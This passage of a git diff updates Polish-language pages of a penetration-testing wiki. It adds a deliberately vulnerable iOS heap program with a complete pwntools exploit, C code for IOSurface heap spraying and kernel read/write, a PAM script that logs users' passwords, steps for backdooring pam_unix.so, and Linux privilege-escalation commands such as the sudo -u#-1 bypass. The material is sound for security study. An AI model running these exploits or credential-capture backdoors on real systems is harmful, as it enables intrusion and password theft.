urządzeniach; unsigned IPAs nie uruchomią się. +- **Quick Connect vs VPN**: Quick Connect jest najprostszy; użyj **VPN**, gdy potrzebujesz, aby urządzenie znajdowało się w Twojej lokalnej sieci (np. lokalne proxy/narzędzia). +- **No App Store** na urządzeniach Corellium; dostarcz własne (re)signed IPAs. + + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md new file mode 100644 index 000000000..12fe03893 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md @@ -0,0 +1,205 @@ +# iOS Jak połączyć się z Corellium + +{{#include ../../banners/hacktricks-training.md}} + +## Vuln Code +```c +#define _GNU_SOURCE +#include +#include +#include +#include + +__attribute__((noinline)) +static void safe_cb(void) { +puts("[*] safe_cb() called — nothing interesting here."); +} + +__attribute__((noinline)) +static void win(void) { +puts("[+] win() reached — spawning shell..."); +fflush(stdout); +system("/bin/sh"); +exit(0); +} + +typedef void (*cb_t)(void); + +typedef struct { +cb_t cb; // <--- Your target: overwrite this with win() +char tag[16]; // Cosmetic (helps make the chunk non-tiny) +} hook_t; + +static void fatal(const char *msg) { +perror(msg); +exit(1); +} + +int main(void) { +// Make I/O deterministic +setvbuf(stdout, NULL, _IONBF, 0); + +// Print address leak so exploit doesn't guess ASLR +printf("[*] LEAK win() @ %p\n", (void*)&win); + +// 1) Allocate the overflow buffer +size_t buf_sz = 128; +char *buf = (char*)malloc(buf_sz); +if (!buf) fatal("malloc buf"); +memset(buf, 'A', buf_sz); + +// 2) Allocate the hook object (likely adjacent in same magazine/size class) +hook_t *h = (hook_t*)malloc(sizeof(hook_t)); +if (!h) fatal("malloc hook"); +h->cb = safe_cb; +memcpy(h->tag, "HOOK-OBJ", 8); + +// A tiny bit of noise to look realistic (and to consume small leftover holes) +void *spacers[16]; +for (int i = 0; i < 16; i++) { +spacers[i] = malloc(64); +if (spacers[i]) memset(spacers[i], 0xCC, 64); +} + +puts("[*] You control a write into the 128B buffer (no bounds check)."); +puts("[*] Enter payload length (decimal), then the raw payload bytes."); + +// 3) Read attacker-chosen length and then read that many bytes → overflow +char line[64]; +if (!fgets(line, sizeof(line), stdin)) fatal("fgets"); +unsigned long n = strtoul(line, NULL, 10); + +// BUG: no clamp to 128 +ssize_t got = read(STDIN_FILENO, buf, n); +if (got < 0) fatal("read"); +printf("[*] Wrote %zd bytes into 128B buffer.\n", got); + +// 4) Trigger: call the hook's callback +puts("[*] Calling h->cb() ..."); +h->cb(); + +puts("[*] Done."); +return 0; +} +``` +Skompiluj to za pomocą: +```bash +clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c +``` +## Exploit + +> [!WARNING] +> Ten exploit ustawia zmienną środowiskową `MallocNanoZone=0`, aby wyłączyć NanoZone. Jest to potrzebne, aby uzyskać sąsiadujące alokacje podczas wywołań `malloc` z małymi rozmiarami. Bez tego różne mallocs zostaną przydzielone w różnych strefach i nie będą sąsiadować, w związku z czym overflow nie zadziała zgodnie z oczekiwaniami. +```python +#!/usr/bin/env python3 +# Heap overflow exploit for macOS ARM64 CTF challenge +# +# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting +# a function pointer in an adjacent heap chunk. +# +# Key insights: +# 1. macOS uses different heap zones for different allocation sizes +# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout +# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed) +# +from pwn import * +import re +import sys +import struct +import platform + +# Detect architecture and set context accordingly +if platform.machine() == 'arm64' or platform.machine() == 'aarch64': +context.clear(arch='aarch64') +else: +context.clear(arch='amd64') + +BIN = './heap_groom' + +def parse_leak(line): +m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line) +if not m: +log.failure("Couldn't parse leak") +sys.exit(1) +return int(m.group(1), 16) + +def build_payload(win_addr, extra_pad=0): +# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer] +padding = b'A' * 128 +if extra_pad: +padding += b'B' * extra_pad +# Add the win address to overwrite the function pointer +payload = padding + p64(win_addr) +return payload + +def main(): +# On macOS, we need to disable the Nano zone for adjacent allocations +import os +env = os.environ.copy() +env['MallocNanoZone'] = '0' + +# The correct padding with MallocNanoZone=0 is 432 bytes +# This makes the total distance 560 bytes (128 buffer + 432 padding) +# Try the known working value first, then alternatives in case of heap variation +candidates = [ +432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0) +424, # Try slightly less in case of alignment differences +440, # Try slightly more +416, # 16 bytes less +448, # 16 bytes more +0, # Direct adjacency (unlikely but worth trying) +] + +log.info("Starting heap overflow exploit for macOS...") + +for extra in candidates: +log.info(f"Trying extra_pad={extra} with MallocNanoZone=0") +p = process(BIN, env=env) + +# Read leak line +leak_line = p.recvline() +win_addr = parse_leak(leak_line) +log.success(f"win() @ {hex(win_addr)}") + +# Skip prompt lines +p.recvuntil(b"Enter payload length") +p.recvline() + +# Build and send payload +payload = build_payload(win_addr, extra_pad=extra) +total_len = len(payload) + +log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)") + +# Send length and payload +p.sendline(str(total_len).encode()) +p.send(payload) + +# Check if we overwrote the function pointer successfully +try: +output = p.recvuntil(b"Calling h->cb()", timeout=0.5) +p.recvline(timeout=0.5) # Skip the "..." part + +# Check if we hit win() +response = p.recvline(timeout=0.5) +if b"win() reached" in response: +log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}") +log.success("Shell spawned, entering interactive mode...") +p.interactive() +return +elif b"safe_cb() called" in response: +log.info(f"Failed with extra_pad={extra}, safe_cb was called") +else: +log.info(f"Failed with extra_pad={extra}, unexpected response") +except: +log.info(f"Failed with extra_pad={extra}, likely crashed") + +p.close() + +log.failure("All padding attempts failed. The heap layout might be different.") +log.info("Try running the exploit multiple times as heap layout can be probabilistic.") + +if __name__ == '__main__': +main() +``` +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md new file mode 100644 index 000000000..fc93e62a5 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md @@ -0,0 +1,215 @@ +# iOS Physical Use-After-Free via IOSurface + +{{#include ../../banners/hacktricks-training.md}} + + +## Physical use-after-free + +To jest podsumowanie wpisu z [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html); dodatkowe informacje o exploitach wykorzystujących tę technikę można znaleźć w [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) + +### Memory management in XNU + +Przestrzeń adresowa pamięci wirtualnej dla procesów użytkownika na iOS obejmuje zakres od **0x0 do 0x8000000000**. Te adresy nie odpowiadają bezpośrednio pamięci fizycznej. Zamiast tego **kernel** używa **page tables** do tłumaczenia adresów wirtualnych na rzeczywiste **adresy fizyczne**. + +#### Levels of Page Tables in iOS + +Page tables są zorganizowane hierarchicznie w trzech poziomach: + +1. **L1 Page Table (Level 1)**: +* Każdy wpis reprezentuje duży zakres pamięci wirtualnej. +* Pokrywa **0x1000000000 bytes** (czyli **256 GB**) pamięci wirtualnej. +2. **L2 Page Table (Level 2)**: +* Wpis tutaj reprezentuje mniejszy region pamięci wirtualnej, konkretnie **0x2000000 bytes** (32 MB). +* Wpis w L1 może wskazywać na tabelę L2, jeśli nie może samodzielnie zmapować całego regionu. +3. **L3 Page Table (Level 3)**: +* To najdokładniejszy poziom, gdzie każdy wpis mapuje pojedynczą stronę pamięci o rozmiarze **4 KB**. +* Wpis w L2 może wskazywać na tabelę L3, jeśli wymagana jest większa granularność. + +#### Mapping Virtual to Physical Memory + +* **Direct Mapping (Block Mapping)**: +* Niektóre wpisy w page table bezpośrednio **mapują zakres adresów wirtualnych** na ciągły zakres adresów fizycznych (jak skrót). +* **Pointer to Child Page Table**: +* Jeśli potrzebna jest większa kontrola, wpis na jednym poziomie (np. L1) może wskazywać na **child page table** na następnym poziomie (np. L2). + +#### Example: Mapping a Virtual Address + +Załóżmy, że próbuje się uzyskać dostęp do adresu wirtualnego **0x1000000000**: + +1. **L1 Table**: +* Kernel sprawdza wpis w tabeli L1 odpowiadający temu adresowi wirtualnemu. Jeśli ma **pointer to an L2 page table**, przechodzi do tej L2. +2. **L2 Table**: +* Kernel sprawdza tabelę L2 w poszukiwaniu bardziej szczegółowego mapowania. Jeśli wpis wskazuje na **L3 page table**, idzie dalej. +3. **L3 Table**: +* Kernel odczytuje końcowy wpis L3, który wskazuje na **adres fizyczny** właściwej strony pamięci. + +#### Example of Address Mapping + +Jeśli zapiszesz adres fizyczny **0x800004000** w pierwszym indeksie tabeli L2, to: + +* Adresy wirtualne od **0x1000000000** do **0x1002000000** będą mapowane na adresy fizyczne od **0x800004000** do **0x802004000**. +* To jest **block mapping** na poziomie L2. + +Alternatywnie, jeśli wpis L2 wskazuje na tabelę L3: + +* Każda strona 4 KB w zakresie wirtualnym **0x1000000000 -> 0x1002000000** byłaby mapowana przez indywidualne wpisy w tabeli L3. + +### Physical use-after-free + +Physical use-after-free (UAF) występuje, gdy: + +1. Proces **alokuje** pamięć jako **readable and writable**. +2. **page tables** są zaktualizowane, aby zmapować tę pamięć na określony adres fizyczny dostępny dla procesu. +3. Proces **dealokuje** (zwalnia) tę pamięć. +4. Jednak z powodu **buga** kernel **zapomina usunąć mapowanie** z page tables, mimo że odpowiednia pamięć fizyczna została oznaczona jako wolna. +5. Kernel może potem **realokować tę „zwolnioną” pamięć fizyczną** do innych celów, np. danych jądra. +6. Ponieważ mapowanie nie zostało usunięte, proces dalej może **czytać i zapisywać** tę pamięć fizyczną. + +To oznacza, że proces może uzyskać dostęp do **stron pamięci jądra**, które mogą zawierać wrażliwe dane lub struktury, co potencjalnie pozwala atakującemu **manipulować pamięcią kernela**. + +### IOSurface Heap Spray + +Skoro atakujący nie może kontrolować, które konkretne strony kernela zostaną przydzielone do zwolnionej pamięci, używa techniki zwanej **heap spray**: + +1. Atakujący **tworzy dużą liczbę obiektów IOSurface** w pamięci kernela. +2. Każdy obiekt IOSurface zawiera **magic value** w jednym ze swoich pól, co ułatwia jego identyfikację. +3. Skanują zwolnione strony, aby sprawdzić, czy któryś z tych obiektów IOSurface trafił na zwolnioną stronę. +4. Gdy znajdą obiekt IOSurface na zwolnionej stronie, mogą go użyć do **odczytu i zapisu pamięci kernela**. + +Więcej informacji: [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) + +> [!TIP] +> Pamiętaj, że urządzenia iOS 16+ (A12+) wprowadzają hardware mitigations (jak PPL lub SPTM), które znacznie utrudniają techniki physical UAF. +> PPL wymusza ścisłe zabezpieczenia MMU na stronach związanych z code signing, entitlements i wrażliwymi danymi kernela, więc nawet jeśli strona zostanie ponownie użyta, zapisy z userland lub skompromitowanego kodu kernela do stron chronionych przez PPL są blokowane. +> Secure Page Table Monitor (SPTM) rozszerza PPL, umacniając sam proces aktualizacji page tables. Zapewnia, że nawet uprzywilejowany kod kernela nie może cicho przemapować zwolnionych stron ani manipulować mapowaniami bez przejścia przez bezpieczne kontrole. +> KTRR (Kernel Text Read-Only Region) blokuje sekcję kodu kernela jako read-only po uruchomieniu systemu. To zapobiega wszelkim modyfikacjom kodu kernela w czasie działania, zamykając istotny wektor ataku, na którym często opierają się exploity physical UAF. +> Ponadto alokacje `IOSurface` są mniej przewidywalne i trudniej je zamapować do regionów dostępnych dla użytkownika, co sprawia, że trik z „skanowaniem magic value” jest znacznie mniej niezawodny. `IOSurface` jest teraz również chroniony przez entitlements i ograniczenia sandboxu. + +### Step-by-Step Heap Spray Process + +1. **Spray IOSurface Objects**: Atakujący tworzy wiele obiektów IOSurface z specjalnym identyfikatorem ("magic value"). +2. **Scan Freed Pages**: Sprawdzają, czy któryś z obiektów został przydzielony na zwolnionej stronie. +3. **Read/Write Kernel Memory**: Manipulując polami obiektu IOSurface, uzyskują możliwość wykonywania **arbitrary reads and writes** w pamięci kernela. To pozwala im: +* Użyć jednego pola do **odczytu dowolnej 32-bit wartości** w pamięci kernela. +* Użyć innego pola do **zapisu 64-bit wartości**, uzyskując stabilny **kernel read/write primitive**. + +Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for: +```c +void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { +if (*nClients >= 0x4000) return; +for (int i = 0; i < nSurfaces; i++) { +fast_create_args_t args; +lock_result_t result; + +size_t size = IOSurfaceLockResultSize; +args.address = 0; +args.alloc_size = *nClients + 1; +args.pixel_format = IOSURFACE_MAGIC; + +IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); +io_connect_t id = result.surface_id; + +(*clients)[*nClients] = id; +*nClients = (*nClients) += 1; +} +} +``` +Wyszukaj obiekty **`IOSurface`** w jednej zwolnionej stronie fizycznej: +```c +int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { +io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); +int nSurfaceIDs = 0; + +for (int i = 0; i < 0x400; i++) { +spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); + +for (int j = 0; j < nPages; j++) { +uint64_t start = puafPages[j]; +uint64_t stop = start + (pages(1) / 16); + +for (uint64_t k = start; k < stop; k += 8) { +if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { +info.object = k; +info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; +if (self_task) *self_task = iosurface_get_receiver(k); +goto sprayDone; +} +} +} +} + +sprayDone: +for (int i = 0; i < nSurfaceIDs; i++) { +if (surfaceIDs[i] == info.surface) continue; +iosurface_release(client, surfaceIDs[i]); +} +free(surfaceIDs); + +return 0; +} +``` +### Uzyskiwanie odczytu/zapisu jądra za pomocą IOSurface + +Po przejęciu kontroli nad obiektem IOSurface w pamięci jądra (zmapowanym do zwolnionej strony fizycznej dostępnej z userspace), możemy go użyć do **dowolnych operacji odczytu i zapisu w jądrze**. + +**Kluczowe pola w IOSurface** + +Obiekt IOSurface ma dwa kluczowe pola: + +1. **Use Count Pointer**: Umożliwia **32-bitowy odczyt**. +2. **Indexed Timestamp Pointer**: Umożliwia **64-bitowy zapis**. + +Przez nadpisanie tych wskaźników przekierowujemy je na dowolne adresy w pamięci jądra, co udostępnia możliwości odczytu/zapisu. + +#### 32-bitowy odczyt jądra + +Aby wykonać odczyt: + +1. Nadpisz **use count pointer**, aby wskazywał na docelowy adres pomniejszony o offset 0x14 bajtów. +2. Użyj metody `get_use_count`, aby odczytać wartość spod tego adresu. +```c +uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { +uint64_t args[1] = {surfaceID}; +uint32_t size = 1; +uint64_t out = 0; +IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); +return (uint32_t)out; +} + +uint32_t iosurface_kread32(uint64_t addr) { +uint64_t orig = iosurface_get_use_count_pointer(info.object); +iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 +uint32_t value = get_use_count(info.client, info.surface); +iosurface_set_use_count_pointer(info.object, orig); +return value; +} +``` +#### 64-Bit Kernel Write + +Aby wykonać zapis: + +1. Nadpisz **indexed timestamp pointer** adresem docelowym. +2. Użyj metody `set_indexed_timestamp`, aby zapisać 64-bitową wartość. +```c +void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { +uint64_t args[3] = {surfaceID, 0, value}; +IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); +} + +void iosurface_kwrite64(uint64_t addr, uint64_t value) { +uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); +iosurface_set_indexed_timestamp_pointer(info.object, addr); +set_indexed_timestamp(info.client, info.surface, value); +iosurface_set_indexed_timestamp_pointer(info.object, orig); +} +``` +#### Podsumowanie przebiegu exploita + +1. **Trigger Physical Use-After-Free**: Strony zwolnione są dostępne do ponownego użycia. +2. **Spray IOSurface Objects**: Przydziel wiele obiektów IOSurface z unikalną "magic value" w pamięci jądra. +3. **Identify Accessible IOSurface**: Zlokalizuj IOSurface na zwolnionej stronie, którą kontrolujesz. +4. **Abuse Use-After-Free**: Zmodyfikuj wskaźniki w obiekcie IOSurface, aby umożliwić dowolne **kernel read/write** poprzez metody IOSurface. + +Dzięki tym prymitywom exploit zapewnia kontrolowane **32-bit reads** i **64-bit writes** do pamięci jądra. Kolejne kroki jailbreak mogą wymagać bardziej stabilnych prymitywów odczytu/zapisu, które mogą wymagać obejścia dodatkowych zabezpieczeń (np. PPL na nowszych urządzeniach arm64e). + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md index 80d575704..730265a94 100644 --- a/src/linux-hardening/linux-post-exploitation/README.md +++ b/src/linux-hardening/linux-post-exploitation/README.md @@ -6,20 +6,21 @@ Skonfigurujmy moduł PAM, aby logował każde hasło używane przez użytkowników podczas logowania. Jeśli nie wiesz, czym jest PAM, sprawdź: + {{#ref}} pam-pluggable-authentication-modules.md {{#endref}} **For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. To tylko podsumowanie: -**Przegląd techniki:** -Pluggable Authentication Modules (PAM) oferują elastyczność w zarządzaniu uwierzytelnianiem w systemach opartych na Unix. Mogą zwiększyć bezpieczeństwo przez dostosowanie procesów logowania, ale w przypadku niewłaściwego użycia stanowią też zagrożenie. To podsumowanie opisuje technikę przechwytywania danych logowania za pomocą PAM oraz strategie łagodzenia skutków. +**Technique Overview:** +Pluggable Authentication Modules (PAM) oferują elastyczność w zarządzaniu uwierzytelnianiem w systemach Unix. Mogą zwiększać bezpieczeństwo przez dostosowywanie procesów logowania, ale mogą też stwarzać ryzyko przy niewłaściwym użyciu. To podsumowanie opisuje technikę przechwytywania poświadczeń logowania z użyciem PAM oraz strategie łagodzenia skutków. -**Przechwytywanie poświadczeń:** +**Capturing Credentials:** -- Skrypt bash o nazwie `toomanysecrets.sh` jest stworzony do logowania prób logowania, zapisując datę, nazwę użytkownika (`$PAM_USER`), hasło (przez stdin) i IP hosta zdalnego (`$PAM_RHOST`) do `/var/log/toomanysecrets.log`. -- Skrypt zostaje uczyniony wykonywalnym i zintegrowany z konfiguracją PAM (`common-auth`) przy użyciu modułu `pam_exec.so` z opcjami uruchamiania w trybie cichym i przekazania tokena uwierzytelniającego do skryptu. -- Podejście demonstruje, jak skompromitowany host Linux może zostać wykorzystany do dyskretnego logowania poświadczeń. +- Skrypt bash o nazwie `toomanysecrets.sh` został stworzony do logowania prób logowania, zapisując datę, nazwę użytkownika (`$PAM_USER`), hasło (przez stdin) oraz IP zdalnego hosta (`$PAM_RHOST`) do `/var/log/toomanysecrets.log`. +- Skrypt został uczyniony wykonywalnym i zintegrowany z konfiguracją PAM (`common-auth`) przy użyciu modułu `pam_exec.so` z opcjami uruchamiania w trybie cichym oraz ujawniając token uwierzytelnienia skryptowi. +- Podejście pokazuje, jak skompromitowany host Linux może zostać wykorzystany do dyskretnego logowania poświadczeń. ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log @@ -31,28 +32,28 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh ``` ### Backdooring PAM -**Szczegóły znajdziesz w [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Poniżej tylko podsumowanie: +**Aby uzyskać więcej szczegółów sprawdź [oryginalny wpis](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. To tylko podsumowanie: -Pluggable Authentication Module (PAM) to system używany w Linuxie do uwierzytelniania użytkowników. Działa on na trzech głównych koncepcjach: **username**, **password** oraz **service**. Pliki konfiguracyjne dla każdej usługi znajdują się w katalogu `/etc/pam.d/`, gdzie shared libraries zajmują się uwierzytelnianiem. +Pluggable Authentication Module (PAM) to system używany w Linux do uwierzytelniania użytkowników. Działa na trzech głównych koncepcjach: **nazwie użytkownika**, **haśle** i **usłudze**. Pliki konfiguracyjne dla każdej usługi znajdują się w katalogu `/etc/pam.d/`, gdzie biblioteki współdzielone obsługują uwierzytelnianie. -**Cel**: Zmodyfikować PAM tak, aby umożliwić uwierzytelnianie przy użyciu określonego hasła, omijając rzeczywiste hasło użytkownika. Skupia się to szczególnie na bibliotece współdzielonej `pam_unix.so` używanej przez plik `common-auth`, który jest dołączany przez niemal wszystkie usługi do weryfikacji hasła. +**Cel**: Zmodyfikować PAM tak, aby pozwalał na uwierzytelnianie przy użyciu konkretnego hasła, omijając rzeczywiste hasło użytkownika. Skupia się to szczególnie na bibliotece współdzielonej `pam_unix.so` używanej przez plik `common-auth`, który jest dołączany przez prawie wszystkie usługi w celu weryfikacji hasła. ### Steps for Modifying `pam_unix.so`: 1. **Locate the Authentication Directive** in the `common-auth` file: -- The line responsible for checking a user's password calls `pam_unix.so`. +- Linia odpowiedzialna za sprawdzanie hasła użytkownika wywołuje `pam_unix.so`. 2. **Modify Source Code**: -- Add a conditional statement in the `pam_unix_auth.c` source file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process. +- Dodaj instrukcję warunkową w pliku źródłowym `pam_unix_auth.c`, która przyzna dostęp, jeśli użyte zostanie zdefiniowane wcześniej hasło; w przeciwnym razie kontynuuje standardowy proces uwierzytelniania. 3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory. 4. **Testing**: -- Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected. +- Dostęp zostaje przyznany w różnych usługach (login, ssh, sudo, su, screensaver) przy użyciu zdefiniowanego hasła, podczas gdy normalne procesy uwierzytelniania pozostają nienaruszone. > [!TIP] -> Możesz zautomatyzować ten proces za pomocą [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) +> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) ## Decrypting GPG loot via homedir relocation -Jeśli znajdziesz zaszyfrowany plik `.gpg` i folder użytkownika `~/.gnupg` (pubring, private-keys, trustdb), ale nie możesz odszyfrować z powodu uprawnień/blokad homedir GnuPG, skopiuj keyring do zapisywalnej lokalizacji i użyj go jako swojego GPG home. +Jeśli znajdziesz zaszyfrowany plik `.gpg` i katalog `~/.gnupg` użytkownika (pubring, private-keys, trustdb), ale nie możesz odszyfrować z powodu uprawnień/blokad homedir GnuPG, skopiuj keyring do zapisywalnej lokalizacji i użyj go jako swojego GPG home. Typowe błędy, które zobaczysz bez tego: "unsafe ownership on homedir", "failed to create temporary file", lub "decryption failed: No secret key" (ponieważ GPG nie może odczytać/zapisać oryginalnego homedir). @@ -72,7 +73,7 @@ gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg Jeśli materiał klucza prywatnego znajduje się w `private-keys-v1.d`, GPG odblokuje i odszyfruje bez proszenia o passphrase (lub poprosi, jeśli klucz jest chroniony). -## Źródła +## References - [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) - [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 6a465bef4..5a82ae5a4 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,17 +4,17 @@ ## Informacje o systemie -### Informacje o systemie operacyjnym +### Informacje o OS -Zacznijmy od zdobycia informacji o działającym systemie operacyjnym +Zacznijmy zdobywać informacje o działającym OS ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Path +### PATH -Jeśli **masz uprawnienia do zapisu w którymkolwiek folderze wewnątrz zmiennej `PATH`** możesz być w stanie hijack some libraries or binaries: +Jeśli **masz uprawnienia zapisu do dowolnego katalogu w zmiennej `PATH`** możesz być w stanie przejąć niektóre biblioteki lub binaria: ```bash echo $PATH ``` @@ -26,26 +26,26 @@ Czy w zmiennych środowiskowych znajdują się interesujące informacje, hasła ``` ### Kernel exploits -Sprawdź wersję kernela i czy istnieje jakiś exploit, który można wykorzystać do eskalacji uprawnień +Sprawdź wersję jądra i czy istnieje jakiś exploit, który można użyć do escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Możesz znaleźć dobrą listę podatnych wersji jądra i kilka już **compiled exploits** tutaj: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Inne serwisy, gdzie możesz znaleźć kilka **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Możesz znaleźć dobrą listę podatnych jąder i kilka już dostępnych **compiled exploits** tutaj: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) i [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Inne strony, gdzie możesz znaleźć kilka **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) Aby wyodrębnić wszystkie podatne wersje jądra z tej strony możesz wykonać: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Narzędzia, które mogą pomóc w wyszukiwaniu exploitów kernela to: +Narzędzia, które mogą pomóc w wyszukiwaniu kernel exploits to: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (uruchomić NA ofierze, sprawdza tylko exploity dla kernela 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (uruchomić IN victim, tylko sprawdza exploits dla kernel 2.x) -Zawsze **wyszukaj wersję kernela w Google**, być może Twoja wersja jest wymieniona w opisie jakiegoś kernel exploita i wtedy będziesz mieć pewność, że exploit jest poprawny. +Zawsze **wyszukaj wersję jądra w Google**, być może Twoja wersja jądra jest wymieniona w jakimś kernel exploit i wtedy będziesz pewien, że exploit jest prawidłowy. ### CVE-2016-5195 (DirtyCow) @@ -57,13 +57,13 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Wersja Sudo +### Wersja sudo -Na podstawie podatnych wersji sudo, które pojawiają się w: +Na podstawie podatnych wersji sudo, które występują w: ```bash searchsploit sudo ``` -Możesz sprawdzić, czy wersja sudo jest podatna, używając tego polecenia grep. +Możesz sprawdzić, czy wersja sudo jest podatna, używając poniższego polecenia grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash ``` ### Dmesg: weryfikacja podpisu nie powiodła się -Sprawdź **smasher2 box of HTB** jako **przykład** tego, jak tę vuln można wykorzystać. +Sprawdź **smasher2 box of HTB** jako **przykład**, jak ta vuln może być wykorzystana ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -86,7 +86,7 @@ date 2>/dev/null #Date lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Wypisz możliwe zabezpieczenia +## Wymień możliwe środki obrony ### AppArmor ```bash @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Jeśli jesteś wewnątrz docker container, możesz spróbować z niego uciec: +Jeśli jesteś wewnątrz docker container, możesz spróbować się z niego wydostać: {{#ref}} @@ -132,7 +132,7 @@ docker-security/ ## Dyski -Sprawdź **what is mounted and unmounted**, gdzie i dlaczego. Jeśli coś jest unmounted, spróbuj je zamontować (mount) i sprawdzić prywatne informacje +Sprawdź **co jest zamontowane i odmontowane**, gdzie i dlaczego. Jeśli coś jest odmontowane, możesz spróbować to zamontować i sprawdzić, czy nie ma tam prywatnych informacji. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,60 +141,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Przydatne oprogramowanie -Wymień przydatne binaria +Wymień przydatne binaries ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Sprawdź także, czy **jakiś kompilator jest zainstalowany**. Przyda się to, 